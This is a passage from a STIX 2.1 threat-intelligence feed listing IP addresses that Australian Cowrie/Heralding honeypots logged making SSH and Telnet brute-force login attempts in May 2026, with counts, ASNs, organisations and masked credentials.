        "bruteforce"
      ],
      "modified": "2026-05-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.123.144.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:15:10.000Z",
      "valid_until": "2026-06-09T14:15:08.000Z"
    },
    {
      "created": "2026-05-08T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--abb5b9ac-bac6-401c-bb90-4c479978ecee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.108.67.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:15:10.000Z",
      "valid_until": "2026-06-09T14:15:08.000Z"
    },
    {
      "created": "2026-05-08T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 207728. Organisation(s): EUROHOSTER Ltd..",
      "id": "indicator--a8924ba8-84a0-4e66-8223-47e8735be934",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.210.171.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:15:10.000Z",
      "valid_until": "2026-06-09T14:15:08.000Z"
    },
    {
      "created": "2026-05-08T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--e23c7032-9cec-49e5-8021-fdfc9ca54ec7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.15.239.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:15:10.000Z",
      "valid_until": "2026-06-09T14:15:08.000Z"
    },
    {
      "created": "2026-05-08T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 36992. Organisation(s): Etisalat Misr. Usernames observed (masked): u****u, a***n, r**t, a***********r, d****y. Passwords observed (masked): p******d, 0****0, 1**1, 1****6, 1****e.",
      "id": "indicator--d1158602-c160-4ca5-933d-418247283312",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.193.106.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:15:10.000Z",
      "valid_until": "2026-06-09T14:15:08.000Z"
    },
    {
      "created": "2026-05-08T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 128. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 701. Organisation(s): Verizon Business. Usernames observed (masked): u****u, ***, a***n, g***t, u**r. Passwords observed (masked): !**********e, 0*******0, *, 1****#, 1*******E.",
      "id": "indicator--db2f164e-86c6-4510-9087-b757291fb989",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.79.42.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:15:10.000Z",
      "valid_until": "2026-06-09T14:15:08.000Z"
    },
    {
      "created": "2026-05-08T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--ef0799ed-ef03-475e-9bee-3f775a9e456f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.27.53.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:15:10.000Z",
      "valid_until": "2026-06-09T14:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2419b0b6-acd5-4298-af1a-11c2b94e9602",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.170.247.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--5ac09262-ea53-4c17-a7dd-15ec582d7ce0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.48.36.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 264821. Organisation(s): COMCAST-SRL.",
      "id": "indicator--8c2784ff-e573-41df-8109-f9c3074ccea1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.97.250.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--4b3de1ee-f47b-481a-951c-ede79c8dc506",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.113.221.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--f3912899-290f-4405-9a1d-484531410b2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.123.2.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28649. Organisation(s): Desktop Sigmanet Comunicacao Multimidia SA.",
      "id": "indicator--33e33863-9766-49fe-b88c-f88ce9f31ef1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.131.80.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 19889. Organisation(s): Cooperativa Telefonica Del Viso.",
      "id": "indicator--67a43b7d-e533-4d97-9f7b-ad0b07114e5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.118.227.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MK. ASN(s): 57374. Organisation(s): Company for communications services A1 Makedonija DOOEL Skopje.",
      "id": "indicator--f098c3cf-bd69-433c-8b1c-163bcfac8429",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.44.20.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--07efc0ff-d24f-48ff-937a-c74a10c77e61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.23.249.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--2ade7f85-f860-42dd-9e02-1d39a5f936a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.127.62.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--8092b172-0c37-4b4b-a1c9-9b8e592871d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46844. Organisation(s): Sharktech.",
      "id": "indicator--99a402a3-d286-492b-9cb9-ff232e144174",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '204.188.210.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--7e32ebbb-9ba5-4607-a17b-bc53089b0439",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.230.92.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TN. ASN(s): 37693. Organisation(s): TUNISIANA.",
      "id": "indicator--7aa37aba-de18-44af-909b-1a4da9e4b895",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.228.243.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 50673. Organisation(s): Serverius Holding B.V..",
      "id": "indicator--5ebee9c0-4240-4531-9db0-810ae4a343f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.175.144.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--fbd4353e-2dc2-4abd-9064-8412b30dd95c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.235.170.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11878. Organisation(s): tzulo, inc..",
      "id": "indicator--791ab6ca-2b50-40c7-9cd6-36e9b23b6605",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.235.52.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--6b3f5684-93e9-4c02-92b9-10e134e6a8a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.208.184.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:15:11.000Z",
      "valid_until": "2026-06-09T15:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 328170. Organisation(s): DataKeepers.",
      "id": "indicator--efa89d93-7f82-4995-8245-19f68a9336ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.67.141.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 59162. Organisation(s): U.P. COMMUNICATION SERVICES PVT LTD.",
      "id": "indicator--38d0504a-3526-4775-b156-d0d7a812613f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.134.22.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8434774f-6bda-4f40-ba44-73588da6e219",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.243.79.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--c32c2c00-9834-4187-bc24-45089e9ee131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.171.90.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--77a5d815-10b2-4a94-822b-5e649d04e901",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.58.32.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--870c9645-965f-4e78-bf3f-0a7438cb8123",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.0.56.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 24440. Organisation(s): Cyber Internet Services Pakistan.",
      "id": "indicator--5e0f97ef-4254-4b26-bfe8-7d4953370af3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.197.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262514. Organisation(s): BTT TELECOMUNICACOES S.A..",
      "id": "indicator--c7720a4f-79b9-456d-9ab5-e199e71ae37b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.55.176.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 48314. Organisation(s): IP-Projects GmbH & Co. KG.",
      "id": "indicator--85ed559c-c794-4956-868c-45e115f800e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.142.43.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 34984. Organisation(s): Superonline Iletisim Hizmetleri A.S..",
      "id": "indicator--b9395d00-65b5-43c0-8b8a-c8aa44f54f64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.142.16.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--10c785ad-b1aa-40d9-8c3b-01ccc59f1c6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--eace6af8-f303-4625-a4a9-e7bc001539a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.168.201.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
